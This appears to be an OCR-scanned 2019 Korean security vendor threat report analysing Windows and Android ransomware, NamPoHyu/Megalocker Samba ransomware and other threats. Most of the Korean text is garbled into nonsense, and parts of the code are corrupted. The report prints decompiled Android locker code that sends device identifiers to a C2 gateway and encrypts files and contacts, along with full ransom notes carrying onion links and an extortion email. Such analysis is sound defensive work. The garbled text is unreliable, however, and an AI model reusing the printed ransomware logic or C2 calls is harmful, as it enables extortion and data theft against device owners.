o stat REG_BINARY db 70 9a a5 df 75 d6 Oc cf 21 fc €7 fb ¢5 66 b8 d9 c0 af 98 59 6d f0 86 89 b3 41 5f 3d 3f el 94 48 ad ec 26 5f 56 74 77 a0 9...

[ 9] 2 PC

Olmf AREEl= EM|2I2 & 1079 712 OIF Y2l= HES Al=eit &% URL 2 HE2| 2 & Y2= Hol= &8
TS 7R,

SIE= 1 ollE=2
"Wp-content'; "images’
"static”; "pictures’
‘content’’ "image’
"include”; "temp"
"uploads’”; "tmp"
"news'’; "graphic’
"data’; "assets”
"admin”; "pics’
"game”
H2JURL Z2 2RE

MEHEI AZ SIRIZ jpg’ , png , gif IIRIZ HO|EE MSSIC

(= 10] AEAHEE TS T

25, W01 7k
SH 01 AKBRIS] AJAE QIS SRISH 255 RS &
OIS SIS FIRHSI| 200, 0] 9I0] Q10K AIBSHS AAEIOH CHAME! 2ESIS Ristaict

.|

0>I
rd
_lTl_
_lTl_
gjo
=
my
ro
re
<
mjn
>
ol
Ofd
ne
ox
40
=2
rr

-r'
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vO
vl = GetKeyboardLayoutlList(0, 0);
v2 vl;
if (lvi)
return 0;
v3 = MemAlloc(4 * v1);
vad = v3;
if ( 1v3 )
return 0;
if ( !GetKeyboardlLayoutlist(v2, v3) || v2 <=0 )
{
-ABEL_7:
FreeMem(v4);
return 0;

0;

while ( !CheckLanguage(*(v4 + 2 * v0)) )
{

if ((++v0 >= v2 )
goto LABEL 7;
¥

return 1;

(728 1] ARBREARAE] Q101 201

LANG_ROMANIAN, LANG_AZERBAIJANI, LANG_RUSSIAN, LANG_BELARUSIAN, LANG_UKRAINIAN,

LANG_ESTONIAN, LANG_LATVIAN, LANG_TAJIK, LANG_FARSI, LANG_ARMENIAN, LANG_AZERI,

LANG_GEORGIAN, LANG_KAZAK, LANG_KYRGYZ, LANG_TURKMEN, LANG_UZBEK, LANG_TATAR
[ 3] 2RIBi= AR 210 5=

OUEE} iy IS ZMGHT USSIS TIASICE CIST} 22 SXIH0| THE0| U= 2L ASSA HIRIECE Of=

a ML—
A2 230 22t ZH H IUS JSelolk| HEEM FX2 od ARIE Rl | ARz 221N a2

Ol

Usst He| EH =55 program files (x86), msocache,program files, boot, intel, $windows.~bt, perflogs,
windows, $windows.~ws, system volume information,$recycle.bin, tor
browser,mozilla,appdata,programdata,windows.old,google,application data,
Sst M| MY == bootsect.bak, bootfont.bin, ntldr, ntuser.ini,
ntuser.dat,desktop.ini,ntuser.dat.log,autorun.inf,boot.ini,iconcache.db,thumbs.db

[H 4] LSt HR| ==
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(&16, (char *)L".") && (&16, (char *)L"..") && !(v13 & 0x400) )

((int)&2[v18], (int)&v16);
13 & 0x10 )

((int)v2, (int)L"\\");

if ( ((int (__cdecl *)(__int16 *, char *))v3[1])(v2, &v16) )

((int (__c *)(_DWORD, _ intl6 *, char *))v3[10])(v3[

3+ 3) +=

| 4;
if ( ((int (__cdecl *)(__intl6e *, char *, int, int))v3[2])(v2, &vl6, v15, v14) )

11) ((int (__cdecl *)(_DWORD intl6e *, char *, int, int))v3[11])(v3[4 2, &vl6, v10
\ | R P ) b b ) L b 3 )

3 + 4) += vl1l;

[72412] L& T T 240

ofld HE0t= Ot} 22 2FEAIE M|2Ieh D0 CHollAMTt fsstS TIlSHTL

msi, spl, ics, icns, themepack, deskthemepack, ps1, 386, diagcab, ani, scr, theme, bin, icl, key, mpa, hlp, com ,ico,
adv, hta, shs, drv, rtp, msc, msu, sys, Idf, bat, prf, wpx, nls, rom, mod, dll, lnk, diagpkg, diagcfg, lock, ocx, idx, cpl,
exe, cur, cab, msp, nomedia, cmd, msstyles

[ 5] 53t HIe| 2Rt

USSPt 2AZEH Of2Het 20| [H2MUOIE][7 I SFIAHE. Foll [S2ARIEH 0l =7 Fict
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i
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|| test1. mp4j7738b 2019-05-10 .. 77388 MY 1,821KB
|| test2.mp4 j7738b 2019-05-10 .. J7738B HHY 2,265KB
|| test3.mp4 j7738b 2019-05-10 .. 77388 mY 2,265KB
|| testa.avij7738b 2019-05-10 .. J7738B M} 11,467KB
__] tests.docxj7738b 2019-05-10 ..  J7738B LY 173KB
|| test6.zipj7738b 2010-05-30" 1 ;7733 I 2,719KB
|| test7.JPG.j7738b 2019-05-10 .. J7738B o} 1,275KB
|| test8.pdf j7738b 2019-05-10 .. J77388 Y 9,673KB
|| test.gif j7738b 2019-05-10 .. 77388 MY 757KB
|| test9.pptxj7738b 2019-05-10 ... J7738B HHY 32KB
(22 13] <5tk S1H
m esspt BF ELHH 2EY0] 24 AR I S5t SHHS U= Hid LES MdsiTt, edeoi=

O
ArEAt HiEelH Z=0]| 2PRIZ Arget 1%"-3% AfetiE-readmett’ SACE Mol LIE2 A= IXS

=~1ot7| 2ol TOR EctX= 5t AS QfLifstl QLT

ogE BEE MAO 27V =3ZH)

| j7738b-readme txt - 2% ==

f--=== Welcome. Again. ===--—-
[+] Whats Happen? [+]

Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion j7738b.
By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, vou cant re

[+] What guarantees? [+]
Its just a business. We absolutely do not care about you and your deals, except getting benefits. |f we do not do our w
To check the ability of returning files, You should g0 to our website. There you can decrvpt one file for free. That is
If vou will not cooperate with our service - for us, its does not matter. But vou will lose your time and data, cause ju
[+] How to get access on website? [+]
You have two ways:
1) [Recommended] Using a TOR browser!

a) Download and install TOR browser from this site: https://torproject.ora/

b) Open our website: http://aplebzud7waazapdaksBvrcvBzcnjppkbxbrBuket {56nfBag2nmyoyd. onion/365F4BT72EABAEFFT
2) If TOR blocked in vour country, try to use YPN! But you can use our secondary website. For this:

Open vour any browser (Chrome, Firefox, Opera, Edge
b) Open our secondary website: http: //decryptnr top/385F4872E484EFF7

Warning: secondary website can be blocked, thats why first variant much better and more available.

< | 1 | )

>

m

E5H ZH9E] pC O] HIESSIHE T2 SHO 2 HHZASI}
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All of your files are encrypted!

Find j7738b-readme.txt and follow instuctions

e d

Chrome

[ 15] ZSE AR | HiEt SIH
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[Trojan.Android.Locker]
ofEIC =M HLIM

HI

i

.I
—

1. 70

22 PC AFE0| HEER2 HA00|H St V= H==HE 270kl YU 0f2fet S50]
AEZ0|=0ME EIHSHA| LIERLEZ | AXIRICE 2 A2 77| 2E EFloi] HEXIE FEok= H| AZLIT) 2%
g0 St IS 71lX] 20 MEE HE DS fssliot, ol HAT Sl

Olm =Sl ASEl= Y2E2 AES O] 7[%k2 olfi72| C&RC S SoliA o= A==HIE 0180l HIg=

Xi=otH SS37t RIRYEIC

rol

= 2N HIAM0AME “Trojan.Android.Locker’ & AM| 2A16110Xt SHCt,
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21 AR A S

ofid 2kd 2| Ol0IE=2 T MANCE QIV|E & AIJICE 2ot JUCH AEAPL EX[et 0|20l= AtEs2=

ALl O[EE HE = HIZ Y=ot U AE[H[E7} AAECE

l
Clash Royale Private

super.onCreate (argé) ;

String v0 = this.getPackageName();
StringBuilder v2 = new StringBuilder();
v2.append(v0);
v2.append (" .MainActivity");

this.startActivity(new Intent(((Context)this), LockActivity.class).setFlags(268435456));

this.getPackageManager () .setComponentEnabledSetting (new Componentlams (v0, v2.toString()), 2, 1)

1] opEsd

2.2 B et
=2l0f Tt RIS PlotiM ol HetS0|H ZiZtS ATHEH INTERNET 2 CRC 22| S,

RECEIVE_BOOT_COMPLETED = XESHQI obd ARIZ floliM 71717 REZIH Y X5 &l SET_WALLPAPER
Tl 2GS LIEHHY| figt 717 HiE=tH $HE READ_EXTERNAL_STORAGE 2t WRITE_EXTERNAL STORAGE =

Y TRISS 4T £ 5 IS sioh=t] 242t WesH Hato[C)

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE BOOT COMPLETED™ />
<uses-permission android:name="android.permission.SET_WALLPAPER"™ />
<uses-permission android:name-"‘nd*uld P2rmission.READ EXTERNAL STORAGE™ />
<uses-permission android:name="android.permiszsion.WRITE EXTERNAL STORRGE"™ />
<uses-permission android:name="android.permission.REARD CONTACTS" />
<uses-permission android:name="android.permission.WRITE CONTACTS™ />

[T21 2] T st
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BALLI TEJIE®OH Bbi/1 3ABJTIOKUPOBAH

NMPOBEPWUTDb OTUJIATY U PASBJIOKUPOBATDL

invoke-static

apFactory->decodeResource (Rescurces

(12 3] HelcE OpK| I
invoke-virtual LockActivity->getResources()Rescurces, pl
move-result-object vl
const v2, 0x7F07005C
, I)Bitmap, vl1, v2

v0.setWallpaper(v2);

e="drawable"

ESTsecurity

name="bg"

1a="=x5f97895c"

[>




anim

anim-v21

animator-v21

color

color-v21

color-v23
drawable-anydpi-v21
drawable-hdpi-v4
drawable-Idpi-v4
drawable-ldrtl-hdpi-v17
drawable-ldrtl-mdpi-v17
drawable-ldrtl-xhdpi-v17
drawable-Idrtl-xxhdpi-v17

drawable-Idrtl-xoochdpi-v17

drawable-mdpi-v4
drawable-v21
drawable-v23
drawable-v24
drawable-watch-v20
drawable-xhdpi-v4

ArZl - bgpng

= &

abc_text
abc_vec|
dssign_t'
design_f
| B design_g
J design_s

navigati
notifica
notificat]
notificat
notificat]
tooltip_f
tooltip_f

(1D (1D (D (0 (1 1D ()

BALU TENE®OH Bbl/1 3ABJIOKUPOBAH

Baw renedoH 6bin 3a6N0KMPOBaH

247D 8= B

717| H=0ilM ClEtO|

A HBHC §

—_— — =

[72] 4] A LSOl Rz 2Hesio]

I.I:

SI=#04, O0|C], RS EF[6I0 md5 ==l

t

=] k=)
— T

2o|X, QFFE 2EN StA Z7IFES 0186 (RC 9 F/t 2= ARSI

Lt o, ==t 7| 242 CRC E SoliM E=Lk

it

o 740 ot55
AS B Y

=

X

—

3

SH

HSE M1
L Ol 2IF AfE4lt

o
1R A

vy

vO.
vO.
vO.

vuU.

lic static String

generateUID() throws Excsption {
der v0 = new StringBuilder();
.DEVICE);

v0.append (Build
append (2.
append (2.
append (Builc
append (Build
return SecurityUtils.generateMDSHash(v0.toString() .getBytes()):

.MODEL) ;
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ge

r)vs_1)) {

public void run{) {

try {

String[] v0_1 = LockActivity.this.key;

HttpClient v2 = new HttpClient():

StringBuilder v3 = new ¢ ilder();

v3.append ("http://timei2260.myjino.ru/gateway/attach.php?uid=");
v3.append (Utils.generateUID());

v3.append("&os=");

v3.append (Build$VERSION.RELEASE) ;

v3.append (" &model=");

v3.append (URLEn .encode (Build.MODEL) ) ;

v3.append (" &permissions=0&country=");

v3.append (this.val$telephonyManager.getNetworkCountryIso());
v0_1[0] = v2.getReqg(v3.toString()):

Log.d("GA", ¢ ng.valueOf (ActivityCompat.checkSelfPermission(LockActivity.this.getRpplicationContext(), "android.permission.WRITE EXTERNAL STORAGE")))
if (ActivityCompat.checkSelfPermission(LockActivity.this.getApplicationContext(), "android.permission.WRITE EXTERNAL STORAGE") == 0) {
new Thread(new Runnable() {

public void run() {
this. this$l.this$0.encryptFiles(this. this$l. this$0.key[0]);

}

}).start();

[ 5] (RC O X I A3} TRY

==

2.5 TR U2 TRl

M0 AEE S0t MES 7IEIX| pl 25 ASSipIrt e TR0 A= 2015k "encrypted” &1/t

¥y

oM MAS HO=E|L] AES YSelS ThliSIC) #i= OIU2 AFRICL

vate void encryptFiles(String arg2) {
this.encryptDir(arg2, Environment.getExternalStorageDirectory().getAbsolutePath());

ESTsecurity Copyright © 2019 ESTsecurity Corp. Al rights reserved.
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03 243

.vate void encryptDir(String argl2, String argl3) {
byte[] v0 = Utils.hexStringToByteArray(argl2);
File[] v2 = new File(argl3).listFiles();
int v3 = 0;
int v4 = v2.length;

while(v3 < v4) {
File v5 = v2[v3];
try {

if (v5.isDirectorv()) {
new Thread(new Runnable (argl2, v5) {

public void run() {

}
}).startc();
goto label 47;

}

goto label 2¢6;
}
}
catch(Excepticn vé) {
goto label 46;

}

goto label 47;

try {

label 26:

5 = AES.initEncryption(v0);
String v8 = v5.getlAbsclutePath();
FileUtils.readFile(v8, vS5.getRbsolutePath()
Log.d("Working on ", v5.getAbsolutePath());
FileUtils.deleteFile(v5.getAbsolutePath());

LockActivity.this.encryptDir(this.valéencryptionKey, this.valé$file.getlbsolutePath());

String[] vé_1 = v5.getAbsolutePath().split("\\.");
if(!v6é_l[ve_l.length - 1].equalsIgnoreCase("encrypted”)) {

+ ".encrypted", v0, v7_1);

E];Jéﬂ1q0|0k==}

2.6 OER| Ss| XRY
o Assit ZLHH 0|0{A &
Base64 Q

=2} 0|20 LiP= 2AIES

=2l 2| AES &=

e

new Thread(new Runnable() {
public void run() {
try {

}
catch(Exception v0) %

v0.printStackTrace();

}
}).start():

this.this$l.thiss0.encryptContacts(this.this$l.this$0.key[0]);

ESTsecurity Copyright © 2019 ESTsecurity Corp. All rights reserved.
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vate void encryptContacts(String argld) {

tResolver vé = this.getContentResolver();
Curs v7 = vé.query(C ctsCont. $Contacts.CONTENT URI, null, null, null, null);
if(v7.getCount() > 0) {
do {
label 10:
if (!v7.moveToNext()) {
return;
}
v8 = v7.getString(v7.getColumnIndex(”_id"));
v9 = v7.getString (v7.getColumnIndex("display name"));

while (v7.getInt (v7.getColumnIndex ("has phone number")) <= 0);

Cursor v0 = vé.query(ContactsCont cmmonDat.
while (v0.moveToNext()) {
ng vl = v0.getString(v0.getColumnIndex("datal"));

inds$Phone.CONTENT URI, null, "contact id = ?", new String[]{v8}, null);

byte[] v2 Utils.hexStringToByteArray(argld);

try {
ContactsUtils.writeContact (Baseé4.encodeToString (AES.encrypt (v2, v9.getBytes()), 0), Baseé4i.encodeToString(AES.encrypt(v2, vl.getBytes()), 0), this.getApplicationContext());
vé.delete (Uri.withAppendedPath(ContactsCon $Contacts.CONTENT LOOKUP URI, v7.getString(v7.getColumnIndex("lookup”))), null, null);

v0.close();

[12] 7] Cdx iS5t

2.7 7V | <l M

21X 717 (7t 0T -HEHQIX| ZESICE H2| “sharedPreferences” 0l MEHE AL USSPt 2t=%M “worked 7t

10] =k

ve_l.writeMemory('worked", "1");

olic void writeMemory(String arg2, String arg3) {
SharedPr ncessEditor vl = this.sharedPreferences.edit();
v0.putString{arg2, arg3):
v0.apply():
v0.commit();
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lic class Memory {

private SharsdPreferences sharedPreferences;

public Memory(Context arg3) throws Exception {

super();
this.sharedPreferences = arg3.getSharedPreferences(arg3.getPackageNams(),

SharedPreferencessEditor v0 = this.sharedPreferences.edit();
vO.clear();
v0.apply();
vO.commit();

public void clearMemory() {

public String readMemoryKey(String arg3) throws Excepticn {

return this.sharedPreferences.getString(arg3, B2

public void writeMemory(String arg2, String arg3

)i o
SharedPreferencessEditor v0 = this.sharedPreferences.edit():;
vO.putString(arg2, arg3):;
v0.apply();
vO.commit();

0):

00t@x86:/datas/data/com.ins.screensaver/shared_prefs # cat com.in
't com.ins.screensaver.xml

?xml version="1.8" encoding="utf-8’ standalone=’yes’ ?>
map>

{string name="worked">1<{/string>

/map>

[ 8] 7P | e Reet

28 7V ZAt N

FIZ2 7P| ¥ 8=, & HE A1 ZERHE S ofd Yol HHE SHHO| SfHMA ARl 2HE
CHA| LEEILIES 0] 71712] EfXIRE Z2AS Sot ARES 20| AHHSICE
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if (BuildsVER i_",Lf.SDK_INT >= 24) {
new Thread(new Runnable() {
@RequiresiApi{api=24) public void run() {
LockActivity.this.multiWindowCheck();
}
}).start():;
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private void multiWindowCheck() {
while(true) {
if (Build$VERSICN.SDK INT < 24) {

continue;

}

if('this.isInMultiWindowMode()) {
continue;

}

Utils.pressHome (((Context)this)):;

’lic static void pressHome (Context arg2) {
Intent v0 = new Intent("android.intent.action.MAIN");
v0.addCategory ("androld: intent /category .HOME") ;
v0.setFlags (268435456) ;
arg2.startActivity(v0);

[ 9] 7P| A2 RI

29 =53t 0y
wsh 22 il 20 OFED] SRR el 7p) B St 15 I dtic) st S e ol
SIOVIC} a1 Kiz0| YESICIY S55) SRIEI, O/50 %55 942 AR Trished” EXIZE 7IREIL
DI} i B20| HIO] QICIE, BXH Mg 01 9 DRAIAS SIGET 0] It BT HEH[ERS MEA

ARSI, (B CRC 12| S0 ZIX| 0t =53} HIE XIZ 2FH0IA OfERh 21HO0| 712 LEHH=X| & 2= giCt)
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((Buttecn)vd) .setOnClickListener (new ViswsOnClickListener(((WebVisew)v3), vl1) {
public void onClick(View arg4) {
LockActivity.this.showMessage (this.val$webView, this.val$resources):
new Thread(new Runnable() {
public void run() {
try {
HetpClient v0_1 = new HttpClient();
StringBuilder vl = new StringBuilder():;
vl.append("http://timei2260.myjino.ru/gateway/check.php?uid=");
vl.append(Utils.generateUID());
this.this$1l.this$0.runOnUiThread (new Runnable (v0_l.getReqg(vl.toString())) {
public veoid run() {
if(!this.val$response.split(”\\|") [0].equalsIgnoreCase ("true”)) {
Toast.makeText (this. this$2. this$l. this$0.gethApplicationContext(), "Onnara He mocTyrmna”, 1).show():
return;

}

String v0 = this.val$response.split(”"\\|")[1];
try {
new Memory(this.this$2.this$l.this$0.getApplicationContext()).writeMemory("finished", "1");
}
catch (Exception v2) {
v2.printStackTrace();
}

new Thread(new Runnable(v0) {
public void run() {
this.this$3.this$2.this$l. this$0.decryptFiles (this.valskey):
}
}) .start();
new Thread(new Runnable(v0) {
public veid run() {
this.this$3.this$2.this$l. thiss0.decryptContacts (this.valskey);
}
}) .start();
Toast.makeText (this.this$2. this$l. this$0.getApplicationContext(), "Bm ycnemso cHamy GnoxmpoBxy C Tenedomra!"”, 1).show();
this.this$2.this$l.this$0.£inish();

public CheckerTimer(Context argl) {
super();
this.context = argl;

public void run() {
try {
if (new Memory(this.context) .readMemoryKey (" finished") .isEmpty())
goto label 117

}

catch (Excepticon v0) {
vO.printStackTrace();
goto label 117

return;
label 11:
if('Utils.isAppOnForeground(this.context)) {
Utils.startMainScreen(this.context);
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List vl =

if(vl == null) {
return 0;

}
ing v3 =

vl.iterator():;

return 0;

Ckisct v5 = vd.next();

if (((ActivityManager$Run
goto 1l: 8
}
}
while (! ((ActivityManagersR

’lic static boolean isAppOnForeground(Context argsd)
argd.getSystemService ("activity"”) .getRunningAppProcesses();

arg8.getPackageName () ;

nninglppProcessInfo)vs).importance '= 100) {
nningAppProcessInic)vs) .processName.equals(v3)):

{

return 1;
[O2 10] S=310[S 7P | HEf 201
2.10 REEZR1 2b o £
7|77} MESH=[™ e MS XHAIRRSICE,

name="co

d.intent
.intent

m.ins.screensaver.receivers.OnBoot™

.RECEIVE

android:permi

ion="android.permission

>lic class
public CnBoot()
super():

{

public void onReceive(Context a
arg3.startActivity(new Inte

OnBoot extends Broadcast

rg3, - arg4) |
nt{arg3, LockActivity.class).setFlags(268435456));

(WERRIEE=EE =N
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211 RCESE/I
QRCE SoliM 71%= HO0k2 = =skE 7| TH=0H, 2 (RCL2E E50| =710l ZAEH 73S e TR0
R0 =23} S7tSoHH.

> timei22608.myjino.ru

google—public—dns—a.google.com
: 8.8.8.8

exx google—public—dns—a.google.com(|C(JP) timei226@.myjino.rus T L|Cf. Non—existent domain

[2 1] S3KH T 27 15HCRC A
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jQuery XHIATEIE 2j0[H2{2]|0jiA EAOIE F
jQuery JavaScript library flaw opens the doors for attacks on hundreds of millions of websites
jQuery XHIATEIE 2{0[E2{2|0jM SZXPT AHIATEE QENES| I= RIS H

LA|ILCE,

Q7| U=
2= Q= T2 EEIR! 2(Prototype pollution) Z&l0|

jQuery XMHIAIZE (0= 22l= Sl 22121 TA| AO(E S 74%0| AREELL /ACH, AIE HEE0]
ZE0]| F{2ret 2f0]2212] 1.x 2F 2x HFS AT URACL

OZEFQ] @
ofld 2l0|2d2|= =5 0| ZHIE +8ol7| ?let 22t IiX[S EHIU. Ol= oiid F=0M 2 =2t F|eFH0|

SUZAE X| 31 BI0JCt
HIATZIE QEHEL MY0| B TXE T|HIOR Cib US XAGHE| AISE 4 Qs #49} 2r), D2EER(S
RHIATRIE QEMEC] 7|2 2X 9 72742 HOIGH= Bl AKBEID, 20| SHEIX| QUS 22 oY 71X

AFdot= M| 20|,

HIATRIE QUME DIREERIS BAS 4 Q= THKK= 0B
MIZEC]| A SHES Zolst I, TREER] O 3 ojge ¢

I
1
;

4RSS HEA|
OIZ2|AHI0 IO alzket Beks O
UZAHOM TREER| O

jQuery 210|=24210| ZXHSH= 0] FHFHCVE-2019-11358)2 Snyk 2 HPISO0| wzisto
2740| PoC TETA| BIHEHC 0] HOt FOFHS HREElR] Qoie LIEHHT, ZHAISO| AHATZE
st HQ, 2K} H0f 450
Holols TE Z2E

OIS0 LEHE T=EEIRI0| H0i4Y| of== Sigelrt 0] 22 20| &
RS FEoL SR} A

QEHEN] ZUE|, KHIATZE OIRI2 E2743) AHIA H9E 2
UAZ MBS OfZAAHOI A TES WA 4 9 Bt
B ol 2} 3t

=

ﬂF

HE7IE2 SAXIS0| 0] FIfEE A 32 jQuery 20|22 F=5 AkEo
RS 4= UCk= A= Al 2Tt
of A= LIEIRCL AS=ZA

T=710]| M=, Cilio]= 0] I=EER] @ 2Xl= 2 SZ0IM 24E0] =7ts
FETHERO| M2t ChEA| ZREE|0{0F 617 | THE0|C,

O1=2|AH(0 40| jQuery XHIATZEE 2f0|22{21E AtEok= & /HEXE2 2R TRl jQuery 34.0 2=

HEIO|Es IS HAIBICt
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jQuery Bl 22715 £l “jQuery 3.4.0 2 jQuery.extend (true, {}, -- )5 A& [ EiASH= |T6IX| 42
S0l Chgh +BARIE Zelolil QUCL BAGHK| G2 AA QBEHMETL H7 7kset _ proto_ £8= Eefol!
S A 0= 7|=2| Object.prototype S SFRIAIZ 4= QULCE 0] 2HARBE2 jQuery 3.4.0 Off ZEHE|0] QIOLE O
jQuery HTE THX[SH | LISt patch diff = AT BHSICH,

[EX] https://securityaffairs.co/wordpress/84340/hacking/jquery-javascript-library-flaw.html
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‘NamPoHyu Virus' Ransomware Targets Remote Samba Servers

NamPoHyu Virus, Megalocker Virus 2t E2= ME22 HMI0 27| UZA(QICE 0 2HMY0= CHE 2HAL|o]
Sif= A3 CI2 YO ERIS RICE SZHRK= WHRI0IS 2O La510] HZ 7H53t Samba AHIE

HHOZ AUSslolTt,

HE A0 282 OE AHIE E= ofY 0[HIY RIS SoAY, S EREL HIERFE siidott

=
rd
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Shodan 24 Z1}, 50 2F CHOY| 717k2 Samba AME{7} 0] 2idRl|012] EFI0] 2 7FS-d0] = A= HQItt,

TOTAL RESULTS
524,647

TOP COUNTRIES

N b -
! w SMB Status
* ;ﬂ# J } Authentication: disabled
**{_""’r u SMB Version: 1

', Capabilities: raw-mode,unicode,large-files,nt-smb,rpc-remote-api,nt-status,level2-oplocks

E'r i passthru, large-readx, large-writex, unix,extended-security
Russian Federation 177,724 e
e s Name Type Comments
Italy 36,468 r
United States 30,256 public Disk shared folders on each volume
United Arab Emirates 27,050 IPC$ 1PC IPC Service (GPON)

TOP SERVICES

smB 524,645

9001 1
XMPP 1

Crelic|= AselE TS SSetet = U= L0| HHEIRACH, emsisoft.com KA 2I21St 4 QALY
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20194 38 X5 L= Megalocker
2019 ¥ 3 & NAS AEZ|X| 7|717} Megalocker Virus 2= 20101 2ol === RUCT.

0| 0= crypted EFIXIE AFEH2H, IDECRYPT_INSTRUCTION.TXT 2h= HHEL-ES MHUCH.
0] ¢ LE= alexshklpper@mallru A2 A 27 F0| S 7|EL7HR! O[IERL SHA| LfoA2| ARKIS FHESI0]

O[HYS HUli2h= LHES Zafotl UACE LEHRE L IRz SHE AL 2 MU= $250, 712 49
$1,000 22 J"—.HEEI'“ NOZ LIEFICE

what happened to your files ?
AWl of your files were protected by a strong encryption with AES cbc-128 using Megalocker Virus.

What does this mean ?

This means that the structure and data within your files have been irrevocably changed,
you will not be able to work with them, read them or see them,

it is the same thing as losing them forever, but with our help, you can restore them.

The encryption key and ID are unique to your computer, so you are guaranteed to be able to return your files.
What do I do ?

You can buy decryption for $8060 for company and 250$ for private person.

But before you pay, you can make sure that we can really decrypt any of your files.

To do this, send us 1 random encrypted file to alexshkipper@firemail.cc, a maximum of 5 megab tes, we wxll decrypt them
and we will send you back. Do not forget to send in the letter your unique id: JAxaieesee™ S y

You can check the decryption of more than one file, but no more than 3.
To do this, send us two more letters with files, there should be only one file in each letter!

If you are a private person, then send your private photo (birthday, holidays, hobbies and so on),

this will prove to us that you are a private person and you will pay 250$ for decrypting files.

If you are not a private person - Do not try to deceive us!!!

Do not complain about these email addresses, because other people will not be able to decrypt their files!

After confirming the decryption, you must pay it in bitcoins. We will send you a bitcoin wallet along with the decrypted file.
You can pay bitcoins online in many ways:

https://buy.blockexplorer.com/ - payment by bank card

https://www.buybitcoinworldwide.com/

https://localbitcoins.net

About Bitcoins:
https://en.wikipedia.org/wiki/Bitcoin

If you have any questions, write to us at alexshkipper@firemail.cc

[EX] https:/ /www.bleepingcomputer.com/news/security/nampohyu-virus-ransomware-targets—remote-samba-servers/

FTP & Soll ZE A2 FEECh= M7t JAACL, THEE2 NAS 71717 A= | IHZ0H| Samba £ S5

=2/t O|ROITICH =010 UCt
4 25'E| NamPoHyu 2f= 0 [EC= el
2019 9 4 & = IBHAIE2 siid HRI017H NamPoHyu 2 0|2 HZoH! US31E M0 .NamPoHyu SRS

E017| AERHCY,

M TS| S E= Ot DINE2 SUSHH, Tor AlZ AIEZ HHEHUZE X2 RS QM

2

Ct
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What happened to your files ?

All of your files were protected by a strong encryption with AES cbc-128 using NamPoHyu Virus.

What does this mean ?
This means that the structure and data within your files have been irrevocably changed,
you will not be able to work with them, read them or see them,

it is the same thing as losing them forever, but with our help, you can restore them.

The encryption key and ID are unique to your computer, so you are guaranteed to be able to return your files.

Your unique id: [id]

What do | do ?
You can buy decryption for 1000$.

But before you pay, you can make sure that we can really decrypt any of your files.

To do this:
1) Download and install Tor Browser ( https://www.torproject.org/download/ )

2) Open the http://qglcd3bgmyvékvztb.onion/index.php?id=[id] web page in the Tor Browser and follow the

instructions.

FAQ:

How much time do | have to pay for decryption?
You have 10 days to pay for the ransom after decrypting the test files.
The number of bitcoins for payment is fixed at the rate at the time of decryption of test files.

Keep in mind that some exchangers delay payment for 1-3 days! Also keep in mind that Bitcoin is a very volatile

currency,

its rate can be both stable and change very quickly. Therefore, we recommend that you make payment within a few
hours.

ESTsecurity



How to contact you?

We do not support any contact.

What are the guarantees that | can decrypt my files after paying the ransom?
Your main guarantee is the ability to decrypt test files.
This means that we can decrypt all your files after paying the ransom.

We have no reason to deceive you after receiving the ransom, since we are not barbarians and moreover it will

harm our business.

How do | pay the ransom?

After decrypting the test files, you will see the amount of payment in bitcoins and a bitcoin wallet for payment.
Depending on your location, you can pay the ransom in different ways.

Use Google to find i

nformation on how to buy bitcoins in your country or use the help of more experienced friends.

Here are some links: https://buy.blockexplorer.com — payment by bank card
https://www.buybitcoinworldwide.com

https://localbitcoins.net

How can | decrypt my files?
After confirmation of payment (it usually takes 8 hours, maximum 24 hours)

you will see on this page ( http://qglcd3bgmyvékvztb.onion/index.php?id=[id] ) a link to download the decryptor

and your aes-key

(for this, simply re—enter (refresh) this page a day after payment)

Download the program and run it.

Attention! Disable all anti-virus programs, they can block the work of the decoder!

Copy aes-key to the appropriate field and select the folder to decrypt.

The program will scan and decrypt all encrypted files in the selected folder and its subfolders.

We recommend that you first create a test folder and copy several encrypted files into it to verify the decryption.
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About Bitcoins:
https://en.wikipedia.org/wiki/Bitcoin
About Tor Browser:

https://www.torproject.org

(NamPoHyu Virus 2 L-E)

Sl Tor APOIEO= X2 2 MEE 47| 2o HM=EOf| Z7|E ID 2F & alexshkipper@firemail.cc 2 O|HYS
Hifgk= W8S

=
=

ot
1
30
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BHAHLI= 7§91 $250, 712 $1,000 Afe| HIETQIOZ 0| HX 1} S2UstH ZoH0|Ct,

[EX] https:/ /www.bleepingcomputer.com/news/security/nampohyu-virus-ransomware-targets-remote-samba-servers/

Scranos: tHZ2A| Tlefol= FE! X ATOR|0] A
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Scranos: New Rapidly Evolving Rootkit-Enabled Spyware Discovered
REZIS X|Hol= M==2 Z=ist AIOIYI07} LHAEICE siHS2 S&t S20[0, E210|H, QEIHO[2A XZt

2 BIRIOl ATEQ{R QYGH SRR T2 T20| ER0I20IS AQl5l0] HHERICE

Scranos 2 HHE 0] ZEZ HTCE B XS YASIHOM, OFYIIK| JHat 591 240 SRIEIC) 0] TEE
Riat] ZISI51T QUOM, ML HEUES HIAEST O HEHES &7 [MOZ JH6H Q0| TS Azfet

Scranos = 2121 F2|HE U LIS MHIAS| X2 AE 27|, Beted s|AER] & 77| F5, RFE 7154 4Y,

241 BA| H0|=E CREE 3 4l 52| 7IsS 7L QUL

HIECIHIEZF S7iet HOMo| =W, 0] AT == Z28E 71710 CIXE MEE FEZ E210|HE AX[oH
XE-s =Lt
HAES ZZAXIE0| Yun Yu Health Management Consulting (Shanghai) Co., Ltd Of] 2fsiEl &5t CIX[E QISAME

7
BXESH 08¢t A2z FEJCL ofid ASM= HIXIZ[X| 282 SEHOILY.

0| ZE3I2 Shutdown S22 S5t KIS Al SHi2f S210JH CIAT0| 7IZEIH ARt MHIA 717} Registry Of
Mz

O] £EZ AGT=0] ZF=H, YA T2HA0| HR2E=HE ok SHAPRI0ok= CRC AH2t SilokA| EIL.
T2 Sht BE= T Ofye] HO|2E=S HR2EE5N0

Of2f= Cllo|H X TARE &5 HI0|2=S L& Z0]Ct.

THAE S BRI SANER| BR| HO[EE - TRl EEI7t 12 3, 2013, 222 I0[0EA, T2},

ORI =ZARE SlIX|, QBN AASES, H0|F H2fRA 3 QFRIAZRE B2t 27|, 27921 F2|3Es SEIC
LEot AKEATR] HO|AS, FFE, OMORE, HOHIMH| AFHL=RE 7| H 21101 2SS S + UCL

St o2l OWER HO[EE - 0] H0|2E= FE0f| OH=RI0] 2P 2 S MX(5H ABAP | Esk= B
